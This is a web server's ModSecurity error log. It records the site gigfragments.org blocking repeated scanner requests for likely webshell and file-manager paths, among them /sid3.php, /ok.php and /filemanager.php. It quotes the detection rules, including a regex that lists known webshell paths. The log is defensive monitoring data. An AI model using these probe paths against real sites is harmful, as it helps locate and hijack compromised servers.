[Mon Apr 06 18:42:18.732077 2026] [:error] [pid 35688:tid 35756] [client 51.120.80.210:37260] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOOCuZ85qg4jLsRpQxr_AAAAIY"]
[Mon Apr 06 18:42:19.494722 2026] [:error] [pid 35688:tid 35753] [client 51.103.121.89:42265] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "adOOC-Z85qg4jLsRpQxsAgAAAIM"]
[Mon Apr 06 18:42:20.589667 2026] [:error] [pid 10280:tid 10304] [client 51.120.80.210:50314] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOODF8QUJkf8g-BFfPIxwAAAdU"]
[Mon Apr 06 18:42:20.608608 2026] [:error] [pid 35686:tid 35699] [client 51.103.121.89:42257] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOODMMKdea6oORd2fzCTAAAAAM"]
[Mon Apr 06 18:42:21.865801 2026] [:error] [pid 10280:tid 10290] [client 51.103.121.89:49000] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOODV8QUJkf8g-BFfPIyQAAAcc"]
[Mon Apr 06 18:42:23.362017 2026] [:error] [pid 9442:tid 9456] [client 51.120.80.210:37297] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOOD0PsNnAJTnmz6sZ_jwAAAQw"]
[Mon Apr 06 18:42:23.657839 2026] [:error] [pid 9442:tid 9455] [client 51.103.121.89:42188] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOOD0PsNnAJTnmz6sZ_kAAAAQs"]
[Mon Apr 06 18:42:26.887364 2026] [:error] [pid 9442:tid 9454] [client 51.120.80.210:50872] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adOOEkPsNnAJTnmz6sZ_nAAAAQo"]
[Mon Apr 06 18:42:28.482193 2026] [:error] [pid 9413:tid 9426] [client 51.103.121.89:5435] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system_log.php"] [unique_id "adOOFHllvEK3chn01wG1xQAAAYs"]
[Mon Apr 06 18:42:28.679736 2026] [:error] [pid 9442:tid 9458] [client 172.213.138.9:52003] [client 172.213.138.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adOOFEPsNnAJTnmz6sZ_ngAAAQ4"]
[Mon Apr 06 18:42:29.906557 2026] [:error] [pid 10280:tid 10295] [client 51.120.80.210:44373] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adOOFV8QUJkf8g-BFfPI4QAAAcw"]
[Mon Apr 06 18:42:36.096648 2026] [:error] [pid 35786:tid 35811] [client 172.213.138.9:50773] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "adOOHGgkfCKTaLhwaKQRDAAAANI"]
[Mon Apr 06 18:42:36.670032 2026] [:error] [pid 9413:tid 9424] [client 51.103.121.89:49956] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adOOHHllvEK3chn01wG1yAAAAYk"]
[Mon Apr 06 18:42:37.253795 2026] [:error] [pid 38562:tid 38578] [client 172.213.138.9:5207] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "adOOHaeD6Ohe6wzRuy5k-wAAAU0"]
[Mon Apr 06 18:42:37.499969 2026] [:error] [pid 35686:tid 35698] [client 51.120.80.210:50508] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/ssd/sallu.php"] [unique_id "adOOHcMKdea6oORd2fzCVwAAAAI"]
[Mon Apr 06 18:42:38.224730 2026] [:error] [pid 38562:tid 38589] [client 172.213.138.9:5268] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "adOOHqeD6Ohe6wzRuy5k_AAAAVg"]
[Mon Apr 06 18:42:40.266294 2026] [:error] [pid 9442:tid 9467] [client 172.213.138.9:52423] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wfile.php"] [unique_id "adOOIEPsNnAJTnmz6sZ_ugAAARc"]
[Mon Apr 06 18:42:41.851496 2026] [:error] [pid 35686:tid 35719] [client 172.213.138.9:40424] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOIcMKdea6oORd2fzCXAAAABc"]
[Mon Apr 06 18:42:43.204948 2026] [:error] [pid 35686:tid 35705] [client 172.213.138.9:52024] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOI8MKdea6oORd2fzCXgAAAAk"]
[Mon Apr 06 18:42:44.325023 2026] [:error] [pid 35688:tid 35756] [client 172.213.138.9:51990] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOJOZ85qg4jLsRpQxsXAAAAIY"]
[Mon Apr 06 18:42:45.391544 2026] [:error] [pid 35688:tid 35770] [client 172.213.138.9:5301] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOJeZ85qg4jLsRpQxsYwAAAJQ"]
[Mon Apr 06 18:42:46.240525 2026] [:error] [pid 10280:tid 10298] [client 172.213.138.9:52417] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOJl8QUJkf8g-BFfPI_AAAAc8"]
[Mon Apr 06 18:42:47.362715 2026] [:error] [pid 10280:tid 10290] [client 172.213.138.9:5591] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOJ18QUJkf8g-BFfPJAwAAAcc"]
[Mon Apr 06 18:42:49.636780 2026] [:error] [pid 10280:tid 10294] [client 172.213.138.9:52239] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOKV8QUJkf8g-BFfPJDAAAAcs"]
[Mon Apr 06 18:42:51.825417 2026] [:error] [pid 9442:tid 9462] [client 172.213.138.9:5239] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOK0PsNnAJTnmz6sZ_1wAAARI"]
[Mon Apr 06 18:42:52.248470 2026] [:error] [pid 35688:tid 35756] [client 51.120.80.210:48268] [client 51.120.80.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adOOLOZ85qg4jLsRpQxsewAAAIY"]
[Mon Apr 06 18:42:56.072884 2026] [:error] [pid 35686:tid 35706] [client 51.103.121.89:33714] [client 51.103.121.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "adOOMMMKdea6oORd2fzCZwAAAAo"]
[Mon Apr 06 18:42:56.121070 2026] [:error] [pid 35687:tid 35738] [client 172.213.138.9:5283] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOOMJ3LtDozV0i8BitZnQAAAE8"]
[Mon Apr 06 18:43:01.746293 2026] [:error] [pid 9413:tid 9429] [client 51.120.80.210:55125] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOONXllvEK3chn01wG14QAAAY4"]
[Mon Apr 06 18:43:02.507176 2026] [:error] [pid 35688:tid 35754] [client 51.120.80.210:55109] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOONuZ85qg4jLsRpQxslgAAAIQ"]
[Mon Apr 06 18:43:02.877102 2026] [:error] [pid 9413:tid 9425] [client 172.213.138.9:40432] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOONnllvEK3chn01wG14gAAAYo"]
[Mon Apr 06 18:43:04.318213 2026] [:error] [pid 10280:tid 10292] [client 51.120.80.210:55435] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOOF8QUJkf8g-BFfPJQwAAAck"]
[Mon Apr 06 18:43:05.310492 2026] [:error] [pid 10280:tid 10291] [client 51.103.121.89:43218] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOOV8QUJkf8g-BFfPJSAAAAcg"]
[Mon Apr 06 18:43:06.365679 2026] [:error] [pid 35686:tid 35696] [client 51.103.121.89:49882] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOOsMKdea6oORd2fzCagAAAAA"]
[Mon Apr 06 18:43:07.200697 2026] [:error] [pid 9442:tid 9466] [client 51.120.80.210:55150] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOO0PsNnAJTnmz6sZ__wAAARY"]
[Mon Apr 06 18:43:07.632789 2026] [:error] [pid 9442:tid 9464] [client 172.213.138.9:50788] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOOO0PsNnAJTnmz6saAAwAAARQ"]
[Mon Apr 06 18:43:08.322306 2026] [:error] [pid 35688:tid 35769] [client 51.103.121.89:46977] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOPOZ85qg4jLsRpQxspAAAAJM"]
[Mon Apr 06 18:43:09.780583 2026] [:error] [pid 38562:tid 38585] [client 172.213.138.9:51997] [client 172.213.138.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "adOOPaeD6Ohe6wzRuy5lWQAAAVQ"]
[Mon Apr 06 18:43:10.122958 2026] [:error] [pid 9442:tid 9458] [client 51.103.121.89:38010] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "adOOPkPsNnAJTnmz6saACgAAAQ4"]
[Mon Apr 06 18:43:10.624750 2026] [:error] [pid 10280:tid 10285] [client 51.120.80.210:35603] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOPl8QUJkf8g-BFfPJWwAAAcI"]
[Mon Apr 06 18:43:11.399556 2026] [:error] [pid 35688:tid 35773] [client 51.103.121.89:49918] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOP-Z85qg4jLsRpQxsrgAAAJc"]
[Mon Apr 06 18:43:11.607897 2026] [:error] [pid 9442:tid 9448] [client 172.213.138.9:52460] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "adOOP0PsNnAJTnmz6saADAAAAQQ"]
[Mon Apr 06 18:43:12.500201 2026] [:error] [pid 9442:tid 9458] [client 51.103.121.89:47889] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOQEPsNnAJTnmz6saADgAAAQ4"]
[Mon Apr 06 18:43:12.596902 2026] [:error] [pid 10280:tid 10285] [client 51.120.80.210:50826] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOQF8QUJkf8g-BFfPJXgAAAcI"]
[Mon Apr 06 18:43:13.652148 2026] [:error] [pid 35688:tid 35763] [client 51.103.121.89:5187] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOQeZ85qg4jLsRpQxsuwAAAI0"]
[Mon Apr 06 18:43:13.745785 2026] [:error] [pid 9413:tid 9424] [client 172.213.138.9:37061] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "adOOQXllvEK3chn01wG17wAAAYk"]
[Mon Apr 06 18:43:14.718805 2026] [:error] [pid 35688:tid 35757] [client 51.120.80.210:37272] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOQuZ85qg4jLsRpQxsyQAAAIc"]
[Mon Apr 06 18:43:14.792478 2026] [:error] [pid 10280:tid 10283] [client 172.213.138.9:45892] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "adOOQl8QUJkf8g-BFfPJZQAAAcA"]
[Mon Apr 06 18:43:14.882788 2026] [:error] [pid 10280:tid 10304] [client 51.103.121.89:47819] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sid3.php"] [unique_id "adOOQl8QUJkf8g-BFfPJZgAAAdU"]
[Mon Apr 06 18:43:15.583607 2026] [:error] [pid 35688:tid 35766] [client 51.103.121.89:35856] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOOQ-Z85qg4jLsRpQxszAAAAJA"]
[Mon Apr 06 18:43:16.078111 2026] [:error] [pid 35688:tid 35761] [client 172.213.138.9:38518] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "adOOROZ85qg4jLsRpQxszQAAAIs"]
[Mon Apr 06 18:43:16.463876 2026] [:error] [pid 9413:tid 9422] [client 51.103.121.89:35883] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOORHllvEK3chn01wG1_AAAAYc"]
[Mon Apr 06 18:43:17.481387 2026] [:error] [pid 35688:tid 35766] [client 172.213.138.9:44799] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "adOOReZ85qg4jLsRpQxs0gAAAJA"]
[Mon Apr 06 18:43:18.456211 2026] [:error] [pid 35786:tid 35810] [client 172.213.138.9:44793] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "adOORmgkfCKTaLhwaKQRHwAAANE"]
[Mon Apr 06 18:43:18.925810 2026] [:error] [pid 35688:tid 35766] [client 51.103.121.89:47886] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "adOORuZ85qg4jLsRpQxs2wAAAJA"]
[Mon Apr 06 18:43:19.449702 2026] [:error] [pid 10280:tid 10297] [client 172.213.138.9:45876] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp.php"] [unique_id "adOOR18QUJkf8g-BFfPJfAAAAc4"]
